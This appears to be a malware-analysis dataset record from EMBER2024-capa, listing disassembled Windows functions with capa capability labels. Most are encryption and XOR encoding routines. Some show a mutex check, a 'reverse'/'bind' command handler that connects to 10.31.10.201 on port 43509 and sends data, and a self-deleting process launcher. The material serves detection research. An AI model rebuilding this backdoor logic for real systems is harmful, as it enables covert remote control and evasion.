joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14018ba90
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
movzx r10d, byte [rcx + 0xf]
lea rbp, [r8 + 0xe]
mov rdi, rcx
lea r12, [0x14026c2f0]
sub rdi, r8
mov r15, r9
mov rsi, rdx
mov r11, rcx
nop dword [rax]
movzx ecx, byte [rbp + 1]
mov rbx, rbp
movzx eax, r10b
mov r14d, reloc.WS2_32.dll_ntohs
xor rcx, rax
mov rdx, rcx
and ecx, 0xf
add rcx, rcx
and rdx, 0xfffffffffffffff0
mov r8, qword [rsi + rcx*8]
mov r10, qword [rsi + rcx*8 + 8]
mov rax, r8
mov rcx, r10
shr rax, 4
and ecx, 0xf
shr r10, 4
shl r8, 0x3c
or r10, r8
xor rax, qword [r12 + rcx*8]
xor rax, qword [rdx + rsi]
xor r10, qword [rdx + rsi + 8]
nop
movzx ecx, byte [rbx]
mov r9, rax
movzx edx, byte [rdi + rbx]
lea rbx, [rbx - 1]
xor rdx, rcx
shl rax, 0x3c
mov rcx, r10
shr r9, 4
shr r10, 4
mov r8, rdx
or rax, r10
and edx, 0xf
add rdx, rdx
and ecx, 0xf
and r8, 0xfffffffffffffff0
xor rax, qword [rsi + rdx*8 + 8]
xor r9, qword [r12 + rcx*8]
mov rcx, rax
xor r9, qword [rsi + rdx*8]
and ecx, 0xf
mov rdx, rax
mov r10, r9
shl r10, 0x3c
mov rax, r9
shr rax, 4
xor rax, qword [r12 + rcx*8]
xor rax, qword [r8 + rsi]
shr rdx, 4
or r10, rdx
xor r10, qword [r8 + rsi + 8]
sub r14, 1
jne 0x14018bb20
mov rdx, rax
mov byte [r11 + 7], al
shr rdx, 0x20
add rbp, 0x10
mov ecx, edx
mov byte [r11 + 3], dl
shr ecx, 0x18
sub rdi, 0x10
mov byte [r11], cl
mov ecx, edx
shr ecx, 0x10
mov byte [r11 + 1], cl
mov ecx, edx
shr ecx, 8
mov byte [r11 + 2], cl
mov ecx, eax
shr ecx, 0x18
mov byte [r11 + 4], cl
mov ecx, eax
shr ecx, 0x10
mov byte [r11 + 5], cl
mov ecx, eax
shr ecx, 8
mov byte [r11 + 6], cl
mov rcx, r10
shr rcx, 0x20
mov eax, ecx
mov byte [r11 + 0xb], cl
shr eax, 0x18
mov byte [r11 + 8], al
mov eax, ecx
shr eax, 0x10
mov byte [r11 + 9], al
mov eax, ecx
shr eax, 8
mov byte [r11 + 0xa], al
mov eax, r10d
shr eax, 0x18
mov byte [r11 + 0xc], al
mov eax, r10d
shr eax, 0x10
mov byte [r11 + 0xd], al
mov eax, r10d
shr eax, 8
mov byte [r11 + 0xe], al
mov byte [r11 + 0xf], r10b
sub r15, 0x10
jne 0x14018bad0
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r15
pop r14
pop r12
ret
Function at 0x14018bc50
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, byte [rcx + 0xf]
lea rsi, [0x14026c2f0]
mov r8d, eax
mov r11, rcx
and eax, 0xf
and r8, 0xfffffffffffffff0
add rax, rax
mov rbx, rdx
mov edi, reloc.WS2_32.dll_ntohl
mov r10, qword [rdx + rax*8 + 8]
mov r9, qword [rdx + rax*8]
mov rcx, r10
and ecx, 0xf
shr r10, 4
mov rax, r9
shl r9, 0x3c
shr rax, 4
or r10, r9
xor rax, qword [rsi + rcx*8]
xor rax, qword [r8 + rdx]
xor r10, qword [r8 + rdx + 8]
movzx ecx, byte [rdi + r11]
mov r9, rax
mov r8d, ecx
shl rax, 0x3c
and ecx, 0xf
shr r9, 4
add rcx, rcx
and r8, 0xfffffffffffffff0
lea rdx, [rbx + rcx*8]
mov rcx, r10
shr r10, 4
and ecx, 0xf
or rax, r10
xor rax, qword [rdx + 8]
xor r9, qword [rsi + rcx*8]
mov rcx, rax
xor r9, qword [rdx]
and ecx, 0xf
mov rdx, rax
mov r10, r9
shl r10, 0x3c
mov rax, r9
shr rax, 4
xor rax, qword [rsi + rcx*8]
xor rax, qword [r8 + rbx]
shr rdx, 4
or r10, rdx
xor r10, qword [r8 + rbx + 8]
sub rdi, 1
jns 0x14018bcb0
mov rbx, qword [rsp + 8]
mov rdx, rax
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov byte [r11 + 7], al
shr rdx, 0x20
mov ecx, edx
mov byte [r11 + 3], dl
shr ecx, 0x18
mov byte [r11], cl
mov ecx, edx
shr ecx, 0x10
mov byte [r11 + 1], cl
mov ecx, edx
shr ecx, 8
mov byte [r11 + 2], cl
mov ecx, eax
shr ecx, 0x18
mov byte [r11 + 4], cl
mov ecx, eax
shr ecx, 0x10
mov byte [r11 + 5], cl
mov ecx, eax
shr ecx, 8
mov byte [r11 + 6], cl
mov rcx, r10
shr rcx, 0x20
mov eax, ecx
mov byte [r11 + 0xb], cl
shr eax, 0x18
mov byte [r11 + 8], al
mov eax, ecx
shr eax, 0x10
mov byte [r11 + 9], al
mov eax, ecx
shr eax, 8
mov byte [r11 + 0xa], al
mov eax, r10d
shr eax, 0x18
mov byte [r11 + 0xc], al
mov eax, r10d
shr eax, 0x10
mov byte [r11 + 0xd], al
mov eax, r10d
shr eax, 8
mov byte [r11 + 0xe], al
mov byte [r11 + 0xf], r10b
ret
Function at 0x14018ff00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rsi
push rdi
mov eax, 0xb0
call fcn.140219dd0
sub rsp, rax
mov rax, qword [0x140304470]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xf0]
mov rbp, r8
mov dword [rsp + 0x60], 0x61707865
mov rsi, rdx
mov dword [rsp + 0x64], 0x3320646e
mov rdi, rcx
mov dword [rsp + 0x68], 0x79622d32
mov dword [rsp + 0x6c], 0x6b206574
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm0
test r8, r8
je 0x1401900e1
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe0], r14
nop
mov ebx, 0x40
lea rdx, [rsp + 0x60]
cmp rbp, rbx
lea rcx, [rsp + 0x20]
cmovb rbx, rbp
call fcn.140190100
xor eax, eax
test rbx, rbx
je 0x1401900bb
cmp rbx, 0x40
jb 0x140190089
lea rdx, [rdi - 1]
add rdx, rbx
lea rcx, [rsp + rbx + 0x1f]
cmp rdi, rcx
ja 0x14018ffdf
lea rcx, [rsp + 0x20]
cmp rdx, rcx
jae 0x140190089
lea rcx, [rsi - 1]
add rcx, rbx
cmp rdi, rcx
ja 0x14018fff4
cmp rdx, rsi
jae 0x140190089
mov r10, rbx
and r10, 0xffffffffffffffc0
mov rdx, rsi
lea r8, [rsp + 0x20]
lea r11, [rsp + 0x30]
sub rdx, rdi
sub r8, rdi
lea r14, [rsp + 0x40]
sub r11, rdi
lea rcx, [rdi + 0x10]
sub r14, rdi
nop dword [rax]
movdqu xmm0, xmmword [r8 + rcx - 0x10]
add rax, 0x40
movdqu xmm1, xmmword [rdx + rcx - 0x10]
movdqu xmm2, xmmword [rcx + r8]
lea rcx, [rcx + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rdx + rcx - 0x40]
movdqu xmmword [rcx - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rdx + rcx - 0x30]
movdqu xmm1, xmmword [rcx + r11 - 0x40]
movdqu xmmword [rcx - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rdx + rcx - 0x20]
movdqu xmm2, xmmword [rcx + r14 - 0x40]
movdqu xmmword [rcx - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rcx - 0x20], xmm2
cmp rax, r10
jb 0x140190020
cmp rax, rbx
jae 0x1401900bb
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov r9, rdi
lea rcx, [rsp + 0x20]
sub r9, rcx
nop
lea rdx, [rsp + 0x20]
add rdx, rax
inc rax
movzx ecx, byte [rdx + r8]
xor cl, byte [rdx]
mov byte [rdx + r9], cl
cmp rax, rbx
jb 0x1401900a0
inc dword [rsp + 0x90]
add rdi, rbx
add rsi, rbx
sub rbp, rbx
jne 0x14018ff90
mov r14, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140219010
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1401933b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, gethostname
call fcn.140219dd0
sub rsp, rax
cmp dword [rsp + 0x68], 0
je 0x1401933d9
lea rax, [0x140191a10]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.140189880
lea rax, [0x140190bc0]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.1401895d0

Function at 0x1401b70a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, gethostname
call fcn.140219dd0
sub rsp, rax
mov r10, rdx
mov dword [rsp + 0x40], reloc.WS2_32.dll_recv
add rdx, 0xf
lea rax, [r8 + 0xf]
mov r11, rcx
cmp r10, rax
ja 0x1401b70f3
xor ecx, ecx
cmp rdx, r8
jb 0x1401b70f3
sub r8, r10
lea rax, [rcx + r10]
mov edx, reloc.WS2_32.dll_recv
sub rdx, rcx
nop
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1401b70e0
jmp 0x1401b7106
movdqu xmm1, xmmword [r10]
movdqu xmm0, xmmword [r8]
pxor xmm1, xmm0
movdqu xmmword [r10], xmm1
mov rcx, qword [r11 + 8]
lea r8, [rsp + 0x40]
mov r9, r10
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov rdx, r10
call fcn.140128f90
test eax, eax
je 0x1401b7137
cmp dword [rsp + 0x40], 0x10
jne 0x1401b7137
mov eax, 1
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret

Function at 0x1401b72e0
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1401b7368
test r8, r8
je 0x1401b7368
mov rax, qword [rcx + 0x18]
cmp r8, rax
mov r9, rax
cmovb r9, r8
test r9, r9
je 0x1401b7326
add rcx, 0x20
mov r11, rdx
sub r11, r10
nop
movzx eax, byte [r11 + rcx - 0x20]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r9, 1
jne 0x1401b7310
mov rax, qword [r10 + 0x18]
cmp r8, rax
jbe 0x1401b7368
sub r8, rax
cmp r8, 0x10
jbe 0x1401b733c
mov r8d, reloc.WS2_32.dll_recv
jmp 0x1401b7341
test r8, r8
je 0x1401b7368
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r10 + 0x18]
add rax, rcx
movzx eax, byte [rax + rdx]
xor byte [r10 + rcx + 0x40], al
inc rcx
cmp rcx, r8
jb 0x1401b7350
ret
Function at 0x1401f0f10
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x20
call fcn.140219dd0
sub rsp, rax
mov rsi, r9
mov rbp, r9
shr rsi, 3
mov rdi, r8
mov rbx, rdx
mov r14, rcx
cmp r8, r9
jb 0x1401f0fd0
nop
xor edx, edx
test rsi, rsi
je 0x1401f0fc0
nop word [rax + rax]
movzx eax, byte [rbx + 6]
movzx ecx, byte [rbx + 7]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx + 5]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx + 4]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx + 3]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx + 2]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx + 1]
shl rcx, 8
or rcx, rax
movzx eax, byte [rbx]
shl rcx, 8
add rbx, 8
or rcx, rax
xor qword [r14 + rdx*8], rcx
inc rdx
cmp rdx, rsi
jb 0x1401f0f60
mov rcx, r14
call fcn.1401f06e0
sub rdi, rbp
cmp rdi, rbp
jae 0x1401f0f50
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x1402055b0
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x18
mov rax, qword [0x140304470]
xor rax, rsp
mov qword [rsp + 8], rax
mov r10, r9
mov r9d, edx
mov r11, rcx
test edx, edx
jne 0x1402055e4
xor eax, eax
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.140219010
add rsp, 0x18
ret
mov rcx, qword [r8]
mov qword [rsp], rcx
movzx eax, cl
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [rsp + 1]
xor edx, eax
movzx eax, byte [rsp + 2]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 3]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 4]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 5]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 6]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 7]
imul edx, r8d, 0x1000193
xor edx, eax
imul r8d, edx, 0x1000193
xor edx, edx
mov eax, r8d
div r9d
mov rax, qword [r11 + rdx*8]
lea rdx, [r11 + rdx*8]
test rax, rax
je 0x140205684
cmp qword [rax + 8], rcx
je 0x140205684
mov rdx, rax
mov rax, qword [rax]
test rax, rax
jne 0x140205673
test r10, r10
je 0x14020568c
mov dword [r10], r8d
mov rax, rdx
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.140219010
add rsp, 0x18
ret
Function at 0x140205df0
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x140205f26
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov qword [rsp + 0x10], rbp
mov rdi, r8
lea rbp, [0x1402a6970]
mov rsi, rdx
mov r11, rcx
xor ebx, ebx
nop dword [rax + rax]
movzx r8d, byte [rbx + rsi]
movzx r10d, byte [r11 + 0x40]
movzx eax, r8b
xor al, byte [r11 + r10]
lea r9, [r11 + r10]
mov byte [r9 + 0x20], al
mov ecx, r8d
mov byte [r9 + 0x10], r8b
movzx eax, byte [r11 + 0x41]
xor rcx, rax
movzx eax, byte [r9 + 0x30]
movzx edx, byte [rcx + rbp]
xor edx, eax
lea eax, [r10 + 1]
and eax, 0xf
mov byte [r9 + 0x30], dl
mov byte [r11 + 0x41], dl
mov byte [r11 + 0x40], al
test al, al
jne 0x140205f0a
xor dl, dl
xor r8b, r8b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r11 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140205e90
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140205e80
inc rbx
cmp rbx, rdi
jb 0x140205e20
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret

Function at 0x140205f30
Capabilities:
Encode data using xor

Disassembly:
movzx r9d, byte [rcx + 0x40]
lea r11, [0x1402a6970]
lea r8, [rcx + r9]
movzx eax, dl
mov byte [r8 + 0x10], dl
mov r10, rcx
xor al, byte [r8]
mov byte [r8 + 0x20], al
movzx eax, byte [rcx + 0x41]
movzx edx, dl
xor rdx, rax
movzx eax, byte [r8 + 0x30]
movzx ecx, byte [rdx + r11]
xor ecx, eax
lea eax, [r9 + 1]
and eax, 0xf
mov byte [r8 + 0x30], cl
mov byte [r10 + 0x41], cl
mov byte [r10 + 0x40], al
test al, al
jne 0x140206020
xor dl, dl
xor r8b, r8b
nop word [rax + rax]
lea rax, [r10 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140205fa0
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140205f90
ret
Function at 0x140216d80
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, eax
test eax, eax
jne 0x140216d9e
or eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
xor edx, edx
cmp rcx, rbx
cmovb ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
Function at 0x180001000
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
lea r8, str.GlobalxFCN311VZJ5BsIknVvPq
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x18000102a
call fcn.180001650
xor eax, eax
add rsp, 0x38
ret

Function at 0x180001040
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rsi
sub rsp, 0x258
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor eax, eax
mov qword [rsp + 0x270], rbx
mov ebp, r9d
mov rsi, r8
mov edx, eax
lea r8, str.reverse
lea r9, [0x180020ee8]
nop dword [rax]
movzx ecx, byte [r8 + rdx]
inc rdx
cmp cl, byte [r9 + rdx - 1]
jne 0x18000114c
cmp rdx, 8
jne 0x180001080
mov qword [rsp + 0x278], rdi
lea rcx, str.43509
mov qword [rsp + 0x250], r14
call fcn.1800060a0
mov r14d, 2
lea rdx, [rsp + 0x30]
mov ecx, r14d
mov ebx, eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r14 - 1]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
lea r8, [rsp + 0x24]
mov ecx, r14d
lea rdx, str.10.31.10.201
mov rdi, rax
call qword [sym.imp.WS2_32.dll_inet_pton]
movzx ecx, bx
mov word [rsp + 0x20], r14w
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [r14 + 0xe]
mov rcx, rdi
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r14, qword [rsp + 0x250]
mov rdi, qword [rsp + 0x278]
jmp 0x1800011ab
lea rdx, str.bind
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1800011ab
cmp rax, 5
jne 0x180001160
mov rbx, qword [rsp + 0x298]
xor r9d, r9d
mov rcx, rbx
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1800011ab
xor r9d, r9d
lea rdx, [rsp + 0x1d0]
mov rcx, rbx
lea r8d, [r9 + 0x64]
call qword [sym.imp.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180001ce0
add rsp, 0x258
pop rsi
pop rbp
ret
Function at 0x1800014d0
Capabilities:
Create process on windows
Self delete

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x110
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x100], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x90], xmm0
mov rbx, rcx
mov qword [r11 - 0x28], rax
lea rcx, str.DELETING_DIR_n
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.1800011e0
xor edi, edi
mov qword [rsp + 0x80], 7
mov qword [rsp + 0x68], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x78], rdi
inc r8
cmp word [rbx + r8*2], di
jne 0x180001553
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.180001b50
cmp qword [rsp + 0x80], 8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x68]
cmovae rdx, qword [rsp + 0x68]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, str.DELETING_DIR_n
call fcn.1800011e0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x18000161c
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001617
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000163d
call fcn.180001d00
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.180001ce0
mov rbx, qword [rsp + 0x128]
add rsp, 0x110
pop rdi
ret
call fcn.18000aac0
int3
Function at 0x18000ae04
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18000acab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000acab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18000acab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18000acab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000acab
cmp dword [rcx + 0x84], 0xe
jbe 0x18000acab
cmp dword [rcx + 0xf8], 0
je 0x18000acab
mov ecx, ebx
call fcn.18000ad68
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18000ab38
nop
cmp dword [rbp + 0x20], 0
je 0x18000acf9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18000ad04
int3
xor r8d, r8d
xor edx, edx
jmp 0x18000ac3c
Function at 0x18001139c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800113cc
xor eax, eax
jmp 0x18001148f
mov rbp, rbx
cmp word [rax], si
je 0x1800113f1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800113d8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800113d4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800112ec
movsxd r14, eax
test eax, eax
jne 0x18001142f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800113c5
mov rcx, r14
call fcn.18000e2cc
mov rdi, rax
test rax, rax
jne 0x180011448
xor ecx, ecx
call fcn.18000d744
jmp 0x180011424
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800112ec
test eax, eax
jne 0x180011479
mov rcx, rdi
call fcn.18000d744
jmp 0x180011483
xor ecx, ecx
call fcn.18000d744
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x4157e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41596b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433000
xorps xmm15, xmm15
mov r14, qword [0x005e0218]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415845
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415854
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415873
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415883
cmp rbx, 0x1000
jae 0x41584b
jmp 0x4158ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415895
xor edx, edx
jmp 0x4158e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433000
xorps xmm15, xmm15
mov r14, qword [0x005e0218]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415879
jmp 0x415868
call fcn.00465480
xorps xmm15, xmm15
mov r14, qword [0x005e0218]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004375c0
lea rax, [0x004d9226]
mov ebx, 0x18
nop dword [rax]
call fcn.00437e40
mov rax, qword [rsp + 0x38]
call fcn.00437b80
lea rax, [0x004d96ad]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00437e40
mov rax, qword [rsp + 0x30]
call fcn.00437b80
call fcn.00437800
call fcn.00437620
lea rax, [0x004db966]
mov ebx, 0x21
